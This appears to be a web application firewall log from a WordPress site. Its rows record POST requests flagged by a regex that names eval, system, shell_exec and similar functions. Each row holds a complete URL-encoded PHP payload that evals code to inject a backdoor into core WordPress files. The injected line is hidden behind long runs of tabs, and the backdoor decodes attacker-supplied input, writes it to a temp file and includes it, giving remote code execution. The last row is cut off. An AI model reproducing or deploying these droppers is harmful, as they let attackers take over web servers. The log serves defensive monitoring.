["2026-05-12 12:48:13","38.95.35.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4990\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-application-passwords-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx6D%255Cx61rker%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx6D%255Cx61rker%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2524res%2520%2529%2520%253B%2520%2524element%2520%253D%2520%2527%2527%253B%2520%2524salt4%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt4%2529%253B%2520%2524i%2520%253D%25200%253B%2520%2524__len%2520%253D%2520count%2528%2524res%2529%253B%2520do%2520%257B%2520if%2520%2528%2524i%2520%253E%253D%2520%2524__len%2529%2520break%253B%2520%2524v9%2520%253D%2520%2524res%255B%2524i%255D%253B%2520%2524sChar%2520%253D%2520ord%2528%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v9%2520-%2520%2524sChar%2520-%2520%2528%2524i%2520%2525%252010%2529%2529%2520%255E%252098%253B%2520%2524element%2520.%253D%2520chr%2528%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%2524data%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524comp%2520%253D%25200%253B%2520do%2520%257B%2520%2524entity%2520%253D%2520%2524data%255B%2524comp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524comp%2520%253E%253D%2520count%2528%2524data%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524entity%2529%2520%2526%2526%2520is_writable%2528%2524entity%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524entity\/.value%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524binding%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524element%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524comp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 12:48:20","78.142.18.172","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4029\naccept:*\/*\n\nDQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:48:37","217.217.254.45","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4029\naccept:*\/*\n\nXy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524data_chunk%2529%253A%2520if%2520%2528%2528is_dir%2528%2524data_chunk%2529%2520and%2520is_writable%2528%2524data_chunk%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524data_chunk%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524fac%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 12:48:47","93.39.85.202","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-processor.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%2529%257B%2520%2524mrk%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx72e%255Cx66er%255Cx65%255Cx6Ece%2522%255D%2529%253B%2520%2524fac%2520%253D%2520%2527%2527%2520%253B%2520%2524w%2520%253D%25200%253B%2520do%257B%2524fac%2520.%253D%2520chr%2528ord%2528%2524mrk%255B%2524w%255D%2529%2520%255E%252051%2529%253B%2524w%252B%252B%253B%257D%2520while%2528%2524w%2520%253C%2520strlen%2528%2524mrk%2529%2529%253B%2520%2524itm%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as